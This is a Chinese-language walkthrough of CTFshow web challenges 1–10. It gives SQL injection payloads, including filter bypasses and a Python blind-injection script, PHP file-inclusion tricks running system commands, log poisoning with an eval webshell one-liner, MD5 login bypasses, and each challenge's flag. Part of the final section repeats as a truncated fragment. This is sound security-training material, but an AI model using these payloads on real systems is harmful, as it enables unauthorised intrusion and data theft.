CTFshow 1-10关

这篇具有很好参考价值的文章主要介绍了CTFshow 1-10关。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

CTF_show

web1签到题 信息收集

ctf.show web签到题,网络,web安全,安全

ctf.show web签到题,网络,web安全,安全

思路:点击进入发现后 除了一段文字 where is flag?没更多可以利用信息,这时我们右键点击查看源码或者检查页面代码,发现类似一段base64加密数据,此刻我们通过软件或者网站去解密后,即可发现flag

ctfshow{b285709e-88b0-4eb2-93af-4a48adab409d}

web2 SQL注入 post型

点击进入后,出现一个登录框,判断可能存在SQL注入

ctf.show web签到题,网络,web安全,安全

任意输入一个账户 并且使用万能密码 测试 发现登录成功

admin' or 1=1 #

ctf.show web签到题,网络,web安全,安全

确定此处存在注入点后,接着使用order by 语句判断字段数,根据页面返回情况,判断出字段数是3

admin' or 1=1 order by 3#                  页面正常
admin' or 1=1 order by 4#                  页面异常

ctf.show web签到题,网络,web安全,安全

ctf.show web签到题,网络,web安全,安全

admin' or 1=1 union select 1,2,3#                      判断出显位是2

ctf.show web签到题,网络,web安全,安全

admin' or 1=1 union select 1,dabase(),3 #                    查询库名

ctf.show web签到题,网络,web安全,安全

admin' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema='web2' limit 0,1),3 #                              查询表名

ctf.show web签到题,网络,web安全,安全

admin' or 1=1 union select 1,(select column_name from information_schema.columns where column_name='flag' limit 0,1),3 #                                 查询字段名

ctf.show web签到题,网络,web安全,安全

admin' or 1=1 union select 1,(select flag from flag ),3 #                  查询flag

ctf.show web签到题,网络,web安全,安全

ctfshow{546d942b-3665-4799-9fc7-97269b8fcda9}

web3 文件包含 php://input

进入后看见关键字include并且有可控变量url,这时联想到文件包含漏洞

ctf.show web签到题,网络,web安全,安全

尝试使用伪协议 php://input 看能否执行系统命令

?url=php://input                                               php伪协议
<?php system('ls');?>                                          用于post传参执行ls命令

ctf.show web签到题,网络,web安全,安全

<?php system('cat ctf_go_go_go');?>                                   打开这个文件

ctf.show web签到题,网络,web安全,安全

?url=ctf_go_go_go                                          也可以直接用文件包含读取文件

ctf.show web签到题,网络,web安全,安全

ctfshow{d7923c1e-9e2a-435d-a069-7dad167e90cb} 

web4 文件包含 日志文件

进入靶场发现和web3界面一样,这时尝试使用web3的测试方法测试一遍,发现页面出现error。此刻猜测可以存在过滤。我们转换思路,尝试能够否查看日志文件。
ctf.show web签到题,网络,web安全,安全

通过日志文件信息,我们可以清晰的发现日志记录了我们的User-Agent等信息

?url=/var/log/nginx/access.log                                       查看日志文件

ctf.show web签到题,网络,web安全,安全

通过分析,知道了日志里记录我们可控数据,并且我们是通过文件包含漏洞看到这些的。从而联想到将一句话木马写入可控数据中,使用菜刀等软件去连接。一句话木马前后的aaabbb无任何实质操作,只是为了让我们更好的辨认出代码是否插入其中而特意添加的

<?php eval($_POST['123'])?>                                            一句话木马

ctf.show web签到题,网络,web安全,安全ctf.show web签到题,网络,web安全,安全

填入网站 密码进行连接
ctf.show web签到题,网络,web安全,安全

ctf.show web签到题,网络,web安全,安全

ctfshow{fdc2ef80-adee-4898-b53a-a8af5f6e13fe}

web5 md5漏洞

进入靶场映入眼前的就是php代码,需要我们进行简单的代码审计。

ctf.show web签到题,网络,web安全,安全

代码审计分析

1,变量v1,v2都是通过GET方式传参

2,ctype_alpha()函数用于检测变量是否为字母

3,is_numeric() 函数用于检测变量是否为数字

4,md5()一种加密方式 相关md5漏洞: PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0

解题思路

我们通过GET方式传入变字母量v1和v2,v1值为字母,v2值为数字,并且这两个变量通过md5加密后都是以0E开头的。

?v1=QNKCDZO&v2=240610708

ctf.show web签到题,网络,web安全,安全

ctfshow{8529c030-c25d-4458-acc4-9613b63fdd13} 

web6 SQL注入 post型 过滤空格

进入靶场,只看见登录框,联想到是否考察SQL注入

ctf.show web签到题,网络,web安全,安全

尝试万能密码注入,发现提示SQL注入错误

admin' or 1=1#

ctf.show web签到题,网络,web安全,安全

开始思考是否因为有空格过滤,尝试利用//替换空格验证猜想,果不其然是空格过滤**

admin'/**/or/**/1=1#

ctf.show web签到题,网络,web安全,安全

开始利用order by 判断字段数

admin'/**/or/**/1=1/**/order/**/by/**/3#             显示正常
admin'/**/or/**/1=1/**/order/**/by/**/4#             显示异常

判断出字段数是3,接着利用联合查询 select 1,2,3

admin'/**/union/**/select/**/1,2,3#                  判断回显位            

ctf.show web签到题,网络,web安全,安全

判断出回显位是2,我们在其替换我们要查询的语句

admin'/**/union/**/select/**/1,database(),3#              注入出数据库名称

admin'/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#                              注入出表名

admin'/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#                                  注入出字段名

admin'/**/union/**/select/**/1,flag,3/**/from/**/flag#    注入出字段里面的内容

ctf.show web签到题,网络,web安全,安全

ctfshow{1025549c-4303-4670-8243-c97620670742}

web7 SQL注入 GET型 过滤空格

进入靶场后,映入眼前的就是文章列表,尝试任意打开一个,观察到URL地址出现?id=1字样,开始思考是否存在SQL注入

ctf.show web签到题,网络,web安全,安全

ctf.show web签到题,网络,web安全,安全

开始尝试判断是否存在注入

and 1=1 #

ctf.show web签到题,网络,web安全,安全

直接添加进去发现提示SQL注入错误,不禁开始思考是否存在空格过滤,当即尝试使用//替换空格**

?id=1/**/and/**/1=1/**/#                                      

ctf.show web签到题,网络,web安全,安全

通过测试发现回显正常,存在注入,当即尝试利用order by 判断字段数

?id=1/**/order/**/by/**/3#                                 回显正常
?id=1/**/order/**/by/**/4#                                 回显异常

通过测试我们判断出字段数为3,接着我们使用联合查询,判断出回显位置

?id=-1'/**/union/**/select/**/1,2,3#

ctf.show web签到题,网络,web安全,安全

接着就是同we6一样流程即可

?=-1/**/union/**/select/**/1,database(),3#              注入出数据库名称

id=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#                             注入出表名

?id=-1/**/union/**/select/**/1,(select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag"),3#                     注入出字段名

?id=-1/**/union/**/select/**/1,(select/**/flag/**/from/**/flag),3#   注入出字段里面的内容

ctf.show web签到题,网络,web安全,安全

ctfshow{e1045c83-cf6a-4636-b289-077f998e91f7}

web8 SQL注入 post型 布尔注入

进入靶场后发现和web7一样,尝试用同样的套路去测试,测试发现过滤了空格,and,union,以及逗号,使用or进行判断后发现注入是存在的,这时我就联想到了盲注

ctf.show web签到题,网络,web安全,安全

由于手动注入效率低下,我们选择直接写脚本代替手工,也刚好满足题意

import requests
s=requests.session()
url='http://ded8c4c8-3140-4a49-8791-3f0e0ae41f17.challenge.ctf.show/index.php'
table=""

for i in range(1,46):
    print(i)
    for j in range(31,128):
        #爆表名  flag
        #payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #爆字段名 flag
        #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #读取flag
        payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

        ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

        if 'I asked nothing' in ra:
            table += chr(j)
            print(table)
            break

ctf.show web签到题,网络,web安全,安全

ctfshow{11d82406-3344-46d0-b042-e3ea652aae95}

web9 SQL注入 post型 md5加密

进入靶场,发现与web8一样只给了账号,此刻猜测可能还是SQL注入,当即用进行测试,反复实验了几组payload都还是未见成效,猜测可能是此题不是考察SQL注入,开始尝试使用dirsearch目录扫描寻找是否还有其他页面,或者其他有利用价值的信息。
ctf.show web签到题,网络,web安全,安全

python dirsearch.py -u http://ed1cf6ce-3bfa-4d96-9368-fccdc17a5c25.challenge.ctf.show/ -e php

ctf.show web签到题,网络,web安全,安全

通过扫描发现这个页面/robots.txt,尝试打开。
ctf.show web签到题,网络,web安全,安全

打开后发现另一个地址/index.phps,接着我们继续打开发现的目录,打开后下载出一个文件,将其打开后发现是登录页面的php代码。
ctf.show web签到题,网络,web安全,安全

代码审计分析

1,password通过post传参被接收处理

2,strlen() 函数用于计算字符串的长度

3,mysqli_query() 函数执行某个针对数据库的查询

4,mysqli_num_rows() 函数返回结果集中行的数量

5,mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组。

解题思路

通过上述代码的分析 我们发现突破点就在于利用md5加密后的密码字符串里包含’or’xxx形成闭合,从而形成万能密码,进行绕过使其成功登录,输出flag

ffifdyop                                   这段字符是从其他大佬文章里面找寻到的,且符合题意

ctf.show web签到题,网络,web安全,安全

ctfshow{fa3fc8c1-b748-4da8-aaeb-a71baca0a164} 

web10 SQL注入 post型

进入靶场后发现依旧是熟悉的界面,不一样的就是出现了一个取消按钮,猜测可能还是考察SQL注入

ctf.show web签到题,网络,web安全,安全

尝试点击取消,发现下载后是登录页面的php代码

ctf.show web签到题,网络,web安全,安全

代码审计分析

1,replaceSpecialChar函数用于过滤特殊字符

2,strlen() 函数用于计算字符串的长度

解题思路

通过上述代码描述,发现限制了许多关键字符,也对输入长度有检测,从而双写绕过这条道路被堵死,通过思考为了让账号密码都能正确执行,我们可以才用group by 语句对其密码排序,然后用with rollup与去对排序后进行求和,因为求和后的值为null,此刻我们不输入密码,密码就为空,刚好也能满足代码判断条件从而正常执行,登录成功输出flag文章来源地址https://www.toymoban.com/news/detail-653896.html

admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#

ctf.show web签到题,网络,web安全,安全

ctfshow{199d9068-9f08-4936-97bc-ffb67c6e5915}

Char函数用于过滤特殊字符**

2,strlen() 函数用于计算字符串的长度

解题思路

通过上述代码描述,发现限制了许多关键字符,也对输入长度有检测,从而双写绕过这条道路被堵死,通过思考为了让账号密码都能正确执行,我们可以才用group by 语句对其密码排序,然后用with rollup与去对排序后进行求和,因为求和后的值为null,此刻我们不输入密码,密码就为空,刚好也能满足代码判断条件从而正常执行,登录成功输出flag

admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup/**/#
ctfshow{199d9068-9f08-4936-97bc-ffb67c6e5915}

到了这里,关于CTFshow 1-10关的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 《CTFshow-Web入门》01. Web 1~10

    ctf - web入门 web1:网页源码查看。 web2:网页源码查看。 web3:burpsuite 抓包查看响应数据包。 web4:robots.txt 文件泄露后台地址。 web5:phps 文件泄露源码。 web6:网站备份压缩文件泄露源码。 web7:版本控制之 git 泄露源码。 web8:版本控制之 svn 泄露源码。 web9:vim 缓存信息泄露

    2024年02月05日
    浏览(60)
  • [CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)

    这段代码首先通过 show_source(__FILE__) 显示当前文件的源代码,然后通过 $_GET[\\\'hello\\\'] 显示 URL 参数中名为 hello 的值。 接下来,代码使用 $_GET[\\\'page\\\'] 获取 URL 参数中名为 “page” 的值,并进行字符串替换,将 php:// 替换为空字符串 这是为了防止通过 URL 参数加载本地文件或其他可

    2024年02月08日
    浏览(47)
  • CTF show逆向5

    没有壳,32位文件 同时注意到附件里的dll文件 找到主函数 分别看看sub_4020B0 sub_4015BD 这两个函数 我发现一般看到MessageBoxA函数,都需要动态调试 动调看到 这里直接进行了返回,返回到了主函数 执行sub_4015BD函数 步入这个函数单步调试 发现Str[1]==1判断没有执行,直接跳过 看看

    2024年01月21日
    浏览(33)
  • ctf.show 愚人杯

    1、奇怪的压缩包 下载附件解压提示要密码 使用010editor打开,发现frFlags 和 deFlags 的值都被修改了,这就会造成压缩包的伪加密, 将它们都改回0。  另存为一个文件再打开,没有密码提示了  解压发现图片并不完整,反正高度并不够的,下面还有内容没有显示出来  放入01

    2023年04月16日
    浏览(34)
  • CTF-Show-爆破系列

    burp的四种爆破模式: 上述内容来自:https://blog.csdn.net/m0_74097148/article/details/128901184 下载题目中给定的字典。打开页面发现是一个登录框,猜测用户名为admin,密码直接使用burp来进行字典爆破。 字典的内容为: 尝试填写表单数据(admin admin)并抓包: 发现并没有我们输入的adm

    2024年03月09日
    浏览(39)
  • CTF-Show-信息搜集系列

    前端程序员进行开发时,并没有将注释进行删除,导致信息泄露。 这道题在上一道题的基础上做了限制(前端),不让使用快捷键(f12)以及右键打开开发者工具。 那么,我们可以找到chrome浏览器的更多工具,在这个选项中,打开开发者工具,即可绕过。 另一种解法: 没思

    2024年03月09日
    浏览(50)
  • CTF练习——WEB安全(BurpSuite为主)

    目录 BurpSuite用户名密码爆破 滑稽 计算器 Dummy Game 头等舱 alert GET POST HTTP Have fun 矛盾 网站被黑了 EasySQL WarmUp secret file STTI_1(模板注入) BurpSuite用户名密码爆破 输入错误的用户名密码组合:xiaoming 19971208,开启拦截: 发送到intruder,配置cluster bomb: 使用safe6,如下填写信息后

    2024年02月09日
    浏览(37)
  • CTF-Show密码学【摩斯码、培根密码】

    萌新 密码33 题目名称 :我想吃培根 题目描述 :-- — .-. … . …–.- … … …–.- -.-. — — .-… …–.- -… …- - …–.- -… .- -.-. — -. …–.- … … …–.- -.-. — — .-… . .-. …–.- – – -… -… – -… – -… – – – -… -… -… /-- -… – -… -… --/ – – – – – /-- -… -… –

    2024年02月11日
    浏览(42)
  • 安全 ctf-Web基础_cookie欺骗

    题目描述 Cookie :         Cookie欺骗、认证、伪造 解题思路: 1. 打开题目给的链接,显示:hello guest. only admin can get flag. 2. 使用F12快捷键进入开发者工具,选择控制台,修改管理员 admin 的 Cookie 值为 1(True): document.cookie   #查看cookie document.cookie = \\\'admin = 1\\\'  #将admin的值修

    2024年04月28日
    浏览(44)
  • CTF-Show密码学【Base64、栅栏密码、16进制】

    萌新_密码13 初步分析 我们首先面对一串看起来符合16进制特征的密文,附带了一个工具下载链接。根据描述,我们下载并打开工具,发现其中包含了一个 16进制编辑器 和一个栅 栏密码加解密 工具。 根据这些线索,我们可以确定这是一串 16进制密文 。为了进行解密,我们需

    2024年02月10日
    浏览(51)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包